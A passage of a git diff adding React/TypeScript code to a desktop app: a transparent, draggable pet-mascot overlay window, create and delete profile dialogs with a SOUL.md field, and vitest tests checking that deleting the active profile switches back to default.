+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/pet-overlay/overlay-root.tsx b/ui-desktop/src/app/pet-overlay/overlay-root.tsx
new file mode 100644
index 000000000..de446bdb6
--- /dev/null
+++ b/ui-desktop/src/app/pet-overlay/overlay-root.tsx
@@ -0,0 +1,38 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+
+import { ErrorBoundary } from '@/components/error-boundary'
+import { ThemeProvider } from '@/themes/context'
+
+import { PetOverlayApp } from './pet-overlay-app'
+
+/**
+ * Boot the pet-overlay window. Loaded by the same bundle as the main app but
+ * via `?win=overlay`, so it shares CSS/atoms while mounting a minimal, transparent
+ * surface (no app shell, no gateway, no I18n — the bubble strings are inline).
+ *
+ * The index.html boot script paints an OPAQUE themed background to avoid a flash
+ * in normal windows; the overlay must be see-through, so we force every host
+ * layer transparent with a late, high-specificity style tag.
+ */
+export function mountPetOverlay(): void {
+  const style = document.createElement('style')
+  style.textContent = 'html,body,#root{background:transparent !important;}'
+  document.head.appendChild(style)
+
+  const root = document.getElementById('root')
+
+  if (!root) {
+    return
+  }
+
+  createRoot(root).render(
+    <StrictMode>
+      <ErrorBoundary label="pet-overlay">
+        <ThemeProvider>
+          <PetOverlayApp />
+        </ThemeProvider>
+      </ErrorBoundary>
+    </StrictMode>
+  )
+}
diff --git a/ui-desktop/src/app/pet-overlay/pet-overlay-app.tsx b/ui-desktop/src/app/pet-overlay/pet-overlay-app.tsx
new file mode 100644
index 000000000..90e9dd8b4
--- /dev/null
+++ b/ui-desktop/src/app/pet-overlay/pet-overlay-app.tsx
@@ -0,0 +1,481 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { PetHeartField, playVibeHearts } from '@/components/chat/vibe-hearts'
+import { PetBubble } from '@/components/pet/pet-bubble'
+import { PetSprite } from '@/components/pet/pet-sprite'
+import { type PetZoomAnchor, usePetZoomGesture } from '@/components/pet/use-pet-zoom-gesture'
+import { Mail } from '@/lib/icons'
+import { $petActivity, $petInfo, setPetInfo } from '@/store/pet'
+import { overlayWindowSize } from '@/store/pet-overlay'
+import { setAwaitingResponse, setBusy } from '@/store/session'
+
+// Fallbacks mirror pet-sprite's defaults; the gateway normally sends real values.
+const DEFAULT_FRAME_W = 192
+const DEFAULT_FRAME_H = 208
+const DEFAULT_SCALE = 0.33
+
+// Must match the root's paddingBottom — the sprite renders bottom-centered, this
+// many px above the window's bottom edge. Used to anchor the resize.
+const PET_PADDING_BOTTOM = 24
+
+// A sprite pixel counts as "solid" (interactive) at/above this alpha (0-255).
+// Low enough to catch anti-aliased edges, high enough that the faint halo around
+// the art still clicks through.
+const ALPHA_HIT_THRESHOLD = 16
+
+/**
+ * The pop-out overlay's only view: a transparent, draggable mascot with a mini
+ * composer.
+ *
+ * This runs in a separate, gateway-less BrowserWindow (`?win=overlay`). It is a
+ * pure puppet — the main renderer pushes the live pet state over IPC and we
+ * mirror it into the same atoms the in-window pet reads, so `PetSprite` /
+ * `PetBubble` render identically with zero extra logic.
+ *
+ * The window is a full rectangle but mostly transparent; we toggle OS-level
+ * mouse click-through so only the sprite (or the open composer) is interactive
+ * and the empty margins pass clicks through to whatever is behind.
+ *
+ * Gestures on the pet: drag to move it anywhere on screen (even outside the
+ * app), shift-click to pop it back into the window, single-click to open a small
+ * composer, double-click to toggle the app window (minimize ↔ restore). A mail
+ * icon (shown only when a turn finished while you were away) raises the app on
+ * the most recent thread.
+ */
+
+// Below this much pointer travel, a press counts as a click, not a drag.
+const CLICK_SLOP_PX = 3
+// A second click within this window is a double-click (raise app) and cancels
+// the deferred single-click (open composer), so a double never flashes it open.
+const DOUBLE_CLICK_MS = 250
+
+interface DragState {
+  startX: number
+  startY: number
+  offX: number
+  offY: number
+  width: number
+  height: number
+  moved: boolean
+}
+
+export function PetOverlayApp() {
+  const info = useStore($petInfo)
+  const [composerOpen, setComposerOpen] = useState(false)
+  const [draft, setDraft] = useState('')
+  // Mirrored from the main renderer: a finish landed while you were away.
+  const [unread, setUnread] = useState(false)
+
+  const dragRef = useRef<DragState | null>(null)
+  // Last Alt+wheel anchor, consumed by the resize effect to zoom toward the
+  // cursor; null means a non-wheel scale change (slider) → anchor bottom-center.
+  const zoomAnchorRef = useRef<PetZoomAnchor | null>(null)
+  const petRef = useRef<HTMLDivElement | null>(null)
+  const inputRef = useRef<HTMLInputElement | null>(null)
+  // Last mirrored reaction id — a bump means the main window fired a reaction.
+  const lastReactionRef = useRef<number | null>(null)
+  const ignoreRef = useRef(true)
+  const composerOpenRef = useRef(false)
+  const clickTimerRef = useRef<ReturnType<typeof setTimeout> | undefined>(undefined)
+
+  const setIgnore = (ignore: boolean) => {
+    if (ignoreRef.current !== ignore) {
+      ignoreRef.current = ignore
+      window.clawcodexDesktop?.petOverlay?.setIgnoreMouse(ignore)
+    }
+  }
+
+  // Mirror pushed state into the shared atoms so PetSprite/PetBubble just work.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const off = window.clawcodexDesktop?.petOverlay?.onState(payload => {
+      setPetInfo(payload.info)
+      $petActivity.set(payload.activity ?? {})
+      setBusy(Boolean(payload.busy))
+      setAwaitingResponse(Boolean(payload.awaiting))
+      setUnread(Boolean(payload.unread))
+
+      // Play a reaction on a new id (ignore the first sync, which just primes it).
+      const reaction = payload.reaction ?? null
+
+      if (lastReactionRef.current === null) {
+        lastReactionRef.current = reaction?.id ?? 0
+      } else if (reaction && reaction.id > lastReactionRef.current) {
+        lastReactionRef.current = reaction.id
+
+        if (reaction.kind === 'vibe') {
+          playVibeHearts()
+        }
+      }
+    })
+
+    // Tell the main renderer we're mounted so it pushes the current frame (the
+    // subscribe-time pushes during open() can land before this view exists).
+    window.clawcodexDesktop?.petOverlay?.control({ type: 'ready' })
+
+    return off
+  }, [])
+
+  // Click-through: make only the *solid* sprite pixels (plus the bubble / mail
+  // button / open composer) interactive — clicks on the transparent rectangle
+  // around the art pass through to whatever's behind. With ignore+forward, the
+  // renderer still receives mousemove so we can re-arm the moment the cursor
+  // returns to a solid pixel.
+  useEffect(() => {
+    setIgnore(true)
+
+    // True when the point sits on a solid sprite pixel or on the pet's other
+    // interactive chrome (bubble, mail button). Over the canvas we sample the
+    // rendered alpha; elsewhere inside the pet (bubble/button) we trust DOM
+    // hit-testing. Anything else is transparent backdrop.
+    const isInteractiveAt = (x: number, y: number): boolean => {
+      const pet = petRef.current
+      const target = document.elementFromPoint(x, y)
+
+      if (!pet || !target || !pet.contains(target)) {
+        return false
+      }
+
+      if (!(target instanceof HTMLCanvasElement)) {
+        return true
+      }
+
+      const rect = target.getBoundingClientRect()
+
+      if (rect.width === 0 || rect.height === 0) {
+        return true
+      }
+
+      const ctx = target.getContext('2d')
+
+      if (!ctx) {
+        return true
+      }
+
+      const px = Math.floor((x - rect.left) * (target.width / rect.width))
+      const py = Math.floor((y - rect.top) * (target.height / rect.height))
+
+      try {
+        return ctx.getImageData(px, py, 1, 1).data[3] >= ALPHA_HIT_THRESHOLD
+      } catch {
+        // Tainted/zero-size read — fail open so the pet stays grabbable.
+        return true
+      }
+    }
+
+    const onMove = (ev: MouseEvent) => {
+      if (dragRef.current || composerOpenRef.current) {
+        setIgnore(false)
+
+        return
+      }
+
+      setIgnore(!isInteractiveAt(ev.clientX, ev.clientY))
+    }
+
+    window.addEventListener('mousemove', onMove)
+
+    return () => {
+      window.removeEventListener('mousemove', onMove)
+      clearTimeout(clickTimerRef.current)
+    }
+  }, [])
+
+  // The whole window must stay interactive while the composer is open (so the
+  // input keeps focus); focus it on open. The overlay is a non-activating panel
+  // (so it never steals the app's cmd/alt-tab anchor) — flip it focusable while
+  // the composer needs the keyboard, then back to non-activating when it closes.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    composerOpenRef.current = composerOpen
+
+    window.clawcodexDesktop?.petOverlay?.setFocusable(composerOpen)
+
+    if (composerOpen) {
+      setIgnore(false)
+      // The OS window has to become key first (setFocusable + focus happen in
+      // the main process), so focus the input on the next frame.
+      requestAnimationFrame(() => inputRef.current?.focus())
+    }
+  }, [composerOpen])
+
+  const onPetPointerDown = (e: React.PointerEvent) => {
+    if (e.button !== 0) {
+      return
+    }
+
+    ;(e.target as Element).setPointerCapture?.(e.pointerId)
+    dragRef.current = {
+      height: window.outerHeight,
+      moved: false,
+      offX: e.screenX - window.screenX,
+      offY: e.screenY - window.screenY,
+      startX: e.screenX,
+      startY: e.screenY,
+      width: window.outerWidth
+    }
+  }
+
+  const onPetPointerMove = (e: React.PointerEvent) => {
+    const drag = dragRef.current
+
+    if (!drag) {
+      return
+    }
+
+    if (Math.hypot(e.screenX - drag.startX, e.screenY - drag.startY) > CLICK_SLOP_PX) {
+      drag.moved = true
+    }
+
+    window.clawcodexDesktop?.petOverlay?.setBounds({
+      height: drag.height,
+      width: drag.width,
+      x: e.screenX - drag.offX,
+      y: e.screenY - drag.offY
+    })
+  }
+
+  const onPetPointerUp = (e: React.PointerEvent) => {
+    const drag = dragRef.current
+    dragRef.current = null
+    ;(e.target as Element).releasePointerCapture?.(e.pointerId)
+
+    if (!drag) {
+      return
+    }
+
+    if (drag.moved) {
+      // A drag cancels any deferred single-click so the composer can't pop open
+      // after you reposition the pet.
+      clearTimeout(clickTimerRef.current)
+      clickTimerRef.current = undefined
+
+      // Remember the spot on the desktop (screen coords) so the pet reopens here
+      // next time / after a restart.
+      window.clawcodexDesktop?.petOverlay?.control({
+        bounds: { height: drag.height, width: drag.width, x: e.screenX - drag.offX, y: e.screenY - drag.offY },
+        type: 'bounds'
+      })
+
+      return
+    }
+
+    // Shift-click always pops the pet back in (no double-click ambiguity).
+    if (e.shiftKey) {
+      window.clawcodexDesktop?.petOverlay?.control({ type: 'pop-in' })
+
+      return
+    }
+
+    // Double-click toggles the app window (minimize ↔ restore); defer the
+    // single-click composer toggle so a double never flashes the composer open.
+    if (clickTimerRef.current) {
+      clearTimeout(clickTimerRef.current)
+      clickTimerRef.current = undefined
+      window.clawcodexDesktop?.petOverlay?.control({ type: 'toggle-app' })
+
+      return
+    }
+
+    clickTimerRef.current = setTimeout(() => {
+      clickTimerRef.current = undefined
+      setComposerOpen(open => !open)
+    }, DOUBLE_CLICK_MS)
+  }
+
+  const send = () => {
+    const text = draft.trim()
+
+    if (text) {
+      window.clawcodexDesktop?.petOverlay?.control({ text, type: 'submit' })
+    }
+
+    setDraft('')
+    setComposerOpen(false)
+  }
+
+  const openApp = () => {
+    // Hide the icon immediately; the main renderer also clears the source flag.
+    setUnread(false)
+    window.clawcodexDesktop?.petOverlay?.control({ type: 'open-app' })
+  }
+
+  // Alt+wheel over the popped-out pet resizes it. The overlay has no gateway,
+  // so paint the new scale locally for instant feedback, then ask the main
+  // renderer to persist it (it pushes the reconciled scale back). Stash the
+  // cursor anchor for the resize effect; the window itself is grown to fit there.
+  const onScale = useCallback((next: number, anchor: PetZoomAnchor) => {
+    zoomAnchorRef.current = anchor
+    setPetInfo({ ...$petInfo.get(), scale: next })
+    window.clawcodexDesktop?.petOverlay?.control({ scale: next, type: 'scale' })
+  }, [])
+
+  usePetZoomGesture(petRef, onScale, Boolean(info.enabled && info.spritesheetBase64))
+
+  // Grow/shrink the OS overlay window to fit the pet at its current scale so the
+  // sprite is never cropped — covers both the wheel gesture here and a scale
+  // changed from the app's settings slider (pushed in as a state update). With a
+  // wheel anchor we zoom toward the cursor (keep the pixel under it fixed);
+  // otherwise we anchor the bottom-center (the pet's feet stay planted). New
+  // bounds are persisted so the pet reopens at the right size.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!info.enabled || !info.spritesheetBase64) {
+      return
+    }
+
+    const { width, height } = overlayWindowSize(
+      info.frameW ?? DEFAULT_FRAME_W,
+      info.frameH ?? DEFAULT_FRAME_H,
+      info.scale ?? DEFAULT_SCALE
+    )
+
+    const curW = window.outerWidth
+    const curH = window.outerHeight
+
+    if (width === curW && height === curH) {
+      zoomAnchorRef.current = null
+
+      return
+    }
+
+    const anchor = zoomAnchorRef.current
+    zoomAnchorRef.current = null
+
+    // The sprite scales about its bottom-center, at window-local (curW/2,
+    // curH - paddingBottom). Hold the anchor pixel fixed on screen as it scales;
+    // with no wheel anchor we pin the bottom-center itself (ratio 1 ⇒ no shift).
+    const ratio = anchor?.ratio ?? 1
+    const ax = anchor?.clientX ?? curW / 2
+    const ay = anchor?.clientY ?? curH - PET_PADDING_BOTTOM
+
+    const bounds = {
+      height,
+      width,
+      x: Math.round(window.screenX + ax - (ax - curW / 2) * ratio - width / 2),
+      y: Math.round(window.screenY + ay - (ay - (curH - PET_PADDING_BOTTOM)) * ratio - (height - PET_PADDING_BOTTOM))
+    }
+
+    window.clawcodexDesktop?.petOverlay?.setBounds(bounds)
+    window.clawcodexDesktop?.petOverlay?.control({ bounds, type: 'bounds' })
+  }, [info.enabled, info.spritesheetBase64, info.scale, info.frameW, info.frameH])
+
+  if (!info.enabled || !info.spritesheetBase64) {
+    return null
+  }
+
+  return (
+    <div
+      onPointerDown={e => {
+        // Click on the transparent backdrop (not the pet/composer) dismisses
+        // the composer.
+        if (composerOpen && e.target === e.currentTarget) {
+          setComposerOpen(false)
+        }
+      }}
+      style={{
+        alignItems: 'center',
+        background: 'transparent',
+        display: 'flex',
+        flexDirection: 'column',
+        height: '100vh',
+        justifyContent: 'flex-end',
+        paddingBottom: PET_PADDING_BOTTOM,
+        userSelect: 'none',
+        width: '100vw'
+      }}
+    >
+      {composerOpen && (
+        <input
+          onChange={e => setDraft(e.target.value)}
+          onKeyDown={e => {
+            if (e.key === 'Enter' && !e.shiftKey) {
+              e.preventDefault()
+              send()
+            } else if (e.key === 'Escape') {
+              setComposerOpen(false)
+            }
+          }}
+          placeholder="Message…"
+          ref={inputRef}
+          style={{
+            background: 'var(--ui-bg-elevated)',
+            border: '1px solid var(--ui-stroke-secondary)',
+            borderRadius: 2,
+            boxShadow: '0 6px 18px rgba(0,0,0,0.28)',
+            color: 'var(--foreground)',
+            fontSize: 12,
+            marginBottom: 8,
+            outline: 'none',
+            padding: '4px 8px',
+            width: 184
+          }}
+          value={draft}
+        />
+      )}
+
+      <div
+        onPointerDown={onPetPointerDown}
+        onPointerMove={onPetPointerMove}
+        onPointerUp={onPetPointerUp}
+        ref={petRef}
+        style={{
+          alignItems: 'center',
+          cursor: 'grab',
+          display: 'flex',
+          flexDirection: 'column',
+          position: 'relative',
+          touchAction: 'none'
+        }}
+      >
+        <div style={{ marginBottom: 4 }}>
+          <PetBubble />
+        </div>
+        <div style={{ lineHeight: 0, position: 'relative' }}>
+          <PetSprite info={info} pauseWhenUnfocused={false} />
+
+          {/* Hearts on the popped-out pet — identical to in-window. */}
+          <PetHeartField
+            petH={(info.frameH ?? DEFAULT_FRAME_H) * (info.scale ?? DEFAULT_SCALE)}
+            petW={(info.frameW ?? DEFAULT_FRAME_W) * (info.scale ?? DEFAULT_SCALE)}
+          />
+
+          {/* Mail icon: only when a finish landed while you were away. Jumps to
+              the app's most recent thread. Anchored to the sprite (kept inside
+              its box so the overlay's click-through hit-test still catches it);
+              stopPropagation keeps a click from starting a window drag. */}
+          {unread && (
+            <button
+              aria-label="Open in ClawCodex"
+              onClick={openApp}
+              onPointerDown={e => e.stopPropagation()}
+              onPointerUp={e => e.stopPropagation()}
+              style={{
+                alignItems: 'center',
+                background: 'var(--ui-bg-elevated)',
+                border: '1px solid var(--ui-stroke-secondary)',
+                borderRadius: 999,
+                boxShadow: '0 4px 14px rgba(0,0,0,0.22)',
+                color: 'var(--foreground)',
+                cursor: 'pointer',
+                display: 'inline-flex',
+                height: 24,
+                justifyContent: 'center',
+                padding: 0,
+                position: 'absolute',
+                right: 0,
+                top: 0,
+                width: 24
+              }}
+              title="Open in ClawCodex"
+              type="button"
+            >
+              <Mail style={{ height: 13, width: 13 }} />
+            </button>
+          )}
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/profiles/create-profile-dialog.tsx b/ui-desktop/src/app/profiles/create-profile-dialog.tsx
new file mode 100644
index 000000000..7134c0ee0
--- /dev/null
+++ b/ui-desktop/src/app/profiles/create-profile-dialog.tsx
@@ -0,0 +1,166 @@
+import { useEffect, useState } from 'react'
+
+import { createProfile, updateProfileSoul } from '@/clawcodex'
+import { ActionStatus } from '@/components/ui/action-status'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { Field, FieldHint } from '@/components/ui/field'
+import { SanitizedInput } from '@/components/ui/sanitized-input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Textarea } from '@/components/ui/textarea'
+import { useI18n } from '@/i18n'
+import { AlertTriangle } from '@/lib/icons'
+import { slug } from '@/lib/sanitize'
+import type { ProfileInfo } from '@/types/clawcodex'
+
+const PROFILE_NAME_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/
+
+export function isValidProfileName(name: string): boolean {
+  return PROFILE_NAME_RE.test(name.trim())
+}
+
+// Self-contained create flow (name + clone toggle + optional SOUL.md). Owns the
+// createProfile/updateProfileSoul calls so every caller just refreshes/selects
+// via onCreated. SOUL left blank keeps the cloned/blank persona untouched.
+export function CreateProfileDialog({
+  onClose,
+  onCreated,
+  open,
+  profiles = []
+}: {
+  onClose: () => void
+  onCreated?: (name: string) => Promise<void> | void
+  open: boolean
+  profiles?: ProfileInfo[]
+}) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const [name, setName] = useState('')
+  const [cloneFrom, setCloneFrom] = useState<null | string>('default')
+  const [soul, setSoul] = useState('')
+  const [status, setStatus] = useState<'done' | 'idle' | 'saving'>('idle')
+  const [error, setError] = useState<null | string>(null)
+
+  useEffect(() => {
+    if (!open) {
+      return
+    }
+
+    setName('')
+    setCloneFrom('default')
+    setSoul('')
+    setError(null)
+    setStatus('idle')
+  }, [open])
+
+  const trimmed = name.trim()
+  const invalid = trimmed !== '' && !isValidProfileName(trimmed)
+  const busy = status === 'saving' || status === 'done'
+
+  async function handleSubmit(event: React.FormEvent) {
+    event.preventDefault()
+
+    if (!trimmed || invalid) {
+      setError(invalid ? p.invalidName(p.nameHint) : p.nameRequired)
+
+      return
+    }
+
+    setStatus('saving')
+    setError(null)
+
+    try {
+      await createProfile({ name: trimmed, clone_from: cloneFrom })
+
+      if (soul.trim()) {
+        await updateProfileSoul(trimmed, soul)
+      }
+
+      await onCreated?.(trimmed)
+      setStatus('done')
+      window.setTimeout(onClose, 800)
+    } catch (err) {
+      setStatus('idle')
+      setError(err instanceof Error ? err.message : p.failedCreate)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={value => !value && !busy && onClose()} open={open}>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{p.newProfile}</DialogTitle>
+          <DialogDescription>{p.createDesc}</DialogDescription>
+        </DialogHeader>
+
+        <form className="grid gap-4" onSubmit={handleSubmit}>
+          <Field htmlFor="new-profile-name" label={p.nameLabel}>
+            <SanitizedInput
+              aria-invalid={invalid}
+              autoFocus
+              id="new-profile-name"
+              onValueChange={setName}
+              placeholder="my-profile"
+              sanitize={slug}
+              value={name}
+            />
+            <FieldHint error={invalid}>{p.nameHint}</FieldHint>
+          </Field>
+
+          <Field htmlFor="new-profile-clone-from" label={p.cloneFrom}>
+            <Select
+              onValueChange={value => setCloneFrom(value === '__none__' ? null : value)}
+              value={cloneFrom ?? '__none__'}
+            >
+              <SelectTrigger className="h-9 rounded-md" id="new-profile-clone-from">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value="__none__">{p.cloneFromNone}</SelectItem>
+                {profiles.map(profile => (
+                  <SelectItem key={profile.name} value={profile.name}>
+                    {profile.name}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <FieldHint>{p.cloneFromDesc}</FieldHint>
+          </Field>
+
+          <Field htmlFor="new-profile-soul" label="SOUL.md" optional optionalLabel={p.soulOptional}>
+            <Textarea
+              className="min-h-28 font-mono text-xs leading-5"
+              id="new-profile-soul"
+              onChange={event => setSoul(event.target.value)}
+              placeholder={p.soulPlaceholder(cloneFrom ? p.soulPlaceholderCloned : p.soulPlaceholderEmpty)}
+              value={soul}
+            />
+          </Field>
+
+          {error && (
+            <div className="flex items-start gap-2 rounded-md border border-destructive/30 bg-destructive/10 px-3 py-2 text-xs text-destructive">
+              <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+              <span>{error}</span>
+            </div>
+          )}
+
+          <DialogFooter>
+            <Button disabled={busy} onClick={onClose} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button disabled={busy || !trimmed || invalid} type="submit">
+              <ActionStatus busy={p.creating} done={p.created} idle={p.createAction} state={status} />
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/profiles/delete-profile-dialog.tsx b/ui-desktop/src/app/profiles/delete-profile-dialog.tsx
new file mode 100644
index 000000000..859871b29
--- /dev/null
+++ b/ui-desktop/src/app/profiles/delete-profile-dialog.tsx
@@ -0,0 +1,65 @@
+import { deleteProfile } from '@/clawcodex'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { useI18n } from '@/i18n'
+import { $activeGatewayProfile, normalizeProfileKey, selectProfile, setActiveProfile } from '@/store/profile'
+
+// Thin wrapper over ConfirmDialog: owns the deleteProfile call, inherits
+// Enter-to-confirm + busy/done/error from the shared dialog. The single choke
+// point for every delete entry point (rail + Profiles view).
+export function DeleteProfileDialog({
+  profile,
+  onClose,
+  onDeleted,
+  open
+}: {
+  profile: { name: string; path: string } | null
+  onClose: () => void
+  onDeleted?: () => Promise<void> | void
+  open: boolean
+}) {
+  const { t } = useI18n()
+  const p = t.profiles
+
+  return (
+    <ConfirmDialog
+      busyLabel={p.deleting}
+      confirmLabel={t.common.delete}
+      description={
+        profile ? (
+          <>
+            {p.deleteDescPrefix}
+            <span className="font-medium text-foreground">{profile.name}</span>
+            {p.deleteDescMid}
+            <span className="font-mono text-xs">{profile.path}</span>
+            {p.deleteDescSuffix}
+          </>
+        ) : null
+      }
+      destructive
+      doneLabel={p.deleted}
+      onClose={onClose}
+      onConfirm={async () => {
+        if (!profile) {
+          return
+        }
+
+        // Deleting the profile the live gateway is on strands it on a dead
+        // backend. Capture that before the delete; reset *after* the host's
+        // onDeleted refresh so our reset is the last write — a refreshActiveProfile
+        // racing the (still-dying) backend can't clobber the pill back to it.
+        const wasActive = normalizeProfileKey(profile.name) === normalizeProfileKey($activeGatewayProfile.get())
+        await deleteProfile(profile.name)
+        await onDeleted?.()
+
+        if (wasActive) {
+          // Swap gateway/sidebar to default and set the pill now — the primary
+          // backend is always default, so this is correct, not just optimistic.
+          selectProfile('default')
+          setActiveProfile('default')
+        }
+      }}
+      open={open}
+      title={p.deleteTitle}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/profiles/index.test.tsx b/ui-desktop/src/app/profiles/index.test.tsx
new file mode 100644
index 000000000..1d6d34049
--- /dev/null
+++ b/ui-desktop/src/app/profiles/index.test.tsx
@@ -0,0 +1,155 @@
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import type * as Nanostores from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { deleteProfile } from '@/clawcodex'
+import { refreshProfiles, selectProfile, setActiveProfile } from '@/store/profile'
+import type { ProfileInfo } from '@/types/clawcodex'
+
+import { ProfilesView } from './index'
+
+// These tests pin the invariant this whole area exists to hold: the Manage
+// Profiles page and the sidebar rail share ONE set of profile dialogs, so both
+// "New Profile" entry points render the same modal (SOUL.md included), and
+// deleting the profile the gateway is on re-homes to default instead of
+// stranding it on a dead backend. The drift that motivated the fix got in
+// precisely because nothing rendered this view.
+
+afterEach(cleanup)
+
+// Real i18n (useI18n falls back to English with no provider), so labels are the
+// actual strings — no brittle key snapshot to maintain here.
+
+// CodeEditor is CodeMirror; the detail pane's SOUL editor doesn't matter to
+// these behaviors, so stub it out of the jsdom render.
+vi.mock('@/components/chat/code-editor', () => ({
+  CodeEditor: () => null
+}))
+
+vi.mock('@/clawcodex', () => ({
+  createProfile: vi.fn(async () => ({ name: 'x', ok: true, path: '/x' })),
+  deleteProfile: vi.fn(async () => ({ ok: true, path: '/x' })),
+  getProfileSoul: vi.fn(async () => ({ content: '', exists: true })),
+  renameProfile: vi.fn(async () => ({ name: 'x', ok: true, path: '/x' })),
+  updateProfileSoul: vi.fn(async () => ({ ok: true }))
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+const { $activeGatewayProfile: activeGateway, $profileColors } = vi.hoisted(() => {
+  const { atom } = require('nanostores') as typeof Nanostores
+
+  return {
+    $activeGatewayProfile: atom<string>('default'),
+    $profileColors: atom<Record<string, string>>({})
+  }
+})
+
+vi.mock('@/store/profile', () => ({
+  $activeGatewayProfile: activeGateway,
+  $profileColors,
+  normalizeProfileKey: (name: null | string | undefined) => (name ?? '').trim() || 'default',
+  refreshProfiles: vi.fn(async () => [] as ProfileInfo[]),
+  selectProfile: vi.fn(),
+  setActiveProfile: vi.fn()
+}))
+
+// The one non-default profile these tests act on. Its name doubles as the row's
+// accessible name, so the delete helper queries by it rather than a literal.
+const NAMED_PROFILE = 'work'
+
+function makeProfile(name: string, isDefault = false): ProfileInfo {
+  return {
+    has_env: false,
+    is_default: isDefault,
+    model: null,
+    name,
+    path: `/home/user/.clawcodex/profiles/${name}`,
+    provider: null,
+    skill_count: 0
+  }
+}
+
+// Radix's trigger opens on the pointerdown/up pair, not the synthetic click
+// alone — fire the full sequence a real click produces.
+function realClick(el: HTMLElement) {
+  fireEvent.pointerDown(el, { button: 0, pointerType: 'mouse' })
+  fireEvent.pointerUp(el, { button: 0, pointerType: 'mouse' })
+  fireEvent.click(el)
+}
+
+// ProfilesView loads its list in a mount effect (refreshProfiles → setProfiles),
+// so the first paint is the loader and the rows commit a microtask later. Flush
+// that inside act() so the rows exist before anything queries them, and so the
+// mount setState isn't left unwrapped.
+async function renderProfilesView() {
+  await act(async () => {
+    render(<ProfilesView onClose={vi.fn()} />)
+  })
+}
+
+// PanelListRow labels BOTH the row's select target and its kebab with the
+// profile name (`menuLabel={profile.name}`), so the name alone matches two
+// buttons. Only the kebab is a menu trigger, so `expanded` disambiguates.
+function findRowMenu(profileName: string) {
+  return screen.findByRole('button', { expanded: false, name: profileName })
+}
+
+// Open the (only non-default) row's actions menu → Delete → confirm. The
+// confirm click kicks off an async chain (deleteProfile → onDeleted refresh →
+// setProfiles, plus the re-home writes), so settle it inside act() to flush
+// those updates deterministically instead of leaking them past the assertions.
+async function deleteTheNamedProfile() {
+  realClick(await findRowMenu(NAMED_PROFILE))
+  fireEvent.click(await screen.findByRole('menuitem', { name: /delete/i }))
+  const confirm = await screen.findByRole('button', { name: 'Delete' })
+  await act(async () => {
+    fireEvent.click(confirm)
+  })
+}
+
+describe('ProfilesView', () => {
+  it('opens the shared create dialog with the SOUL.md field (parity with the rail)', async () => {
+    vi.mocked(refreshProfiles).mockResolvedValue([])
+
+    await renderProfilesView()
+
+    realClick(await screen.findByRole('button', { name: 'New profile' }))
+
+    const soul = await screen.findByLabelText(/SOUL\.md/i)
+
+    expect(soul.tagName).toBe('TEXTAREA')
+    expect(soul.getAttribute('id')).toBe('new-profile-soul')
+  })
+
+  it('re-homes to default when the active profile is deleted', async () => {
+    vi.mocked(refreshProfiles).mockResolvedValue([makeProfile('default', true), makeProfile(NAMED_PROFILE)])
+    activeGateway.set(NAMED_PROFILE)
+
+    await renderProfilesView()
+    await deleteTheNamedProfile()
+
+    await waitFor(() => expect(deleteProfile).toHaveBeenCalledWith(NAMED_PROFILE))
+    await waitFor(() => expect(selectProfile).toHaveBeenCalledWith('default'))
+    expect(setActiveProfile).toHaveBeenCalledWith('default')
+  })
+
+  it('leaves the active profile alone when a different profile is deleted', async () => {
+    vi.mocked(selectProfile).mockClear()
+    vi.mocked(setActiveProfile).mockClear()
+    vi.mocked(refreshProfiles).mockResolvedValue([makeProfile('default', true), makeProfile(NAMED_PROFILE)])
+    activeGateway.set('default')
+
+    await renderProfilesView()
+    await deleteTheNamedProfile()
+
+    await waitFor(() => expect(deleteProfile).toHaveBeenCalledWith(NAMED_PROFILE))
+    // The dialog closes once the delete settles; a non-active delete must not re-home.
+    await waitFor(() => expect(screen.queryByRole('button', { name: 'Delete' })).toBeNull())
+    expect(selectProfile).not.toHaveBeenCalled()
+    expect(setActiveProfile).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/profiles/index.tsx b/ui-desktop/src/app/profiles/index.tsx
new file mode 100644
index 000000000..e94b220c8
--- /dev/null
+++ b/ui-desktop/src/app/profiles/index.tsx
@@ -0,0 +1,388 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import { getProfileSoul, type ProfileInfo, updateProfileSoul } from '@/clawcodex'
+import { CodeEditor } from '@/components/chat/code-editor'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { AlertTriangle, Save } from '@/lib/icons'
+import { profileColorSoft, resolveProfileColor } from '@/lib/profile-color'
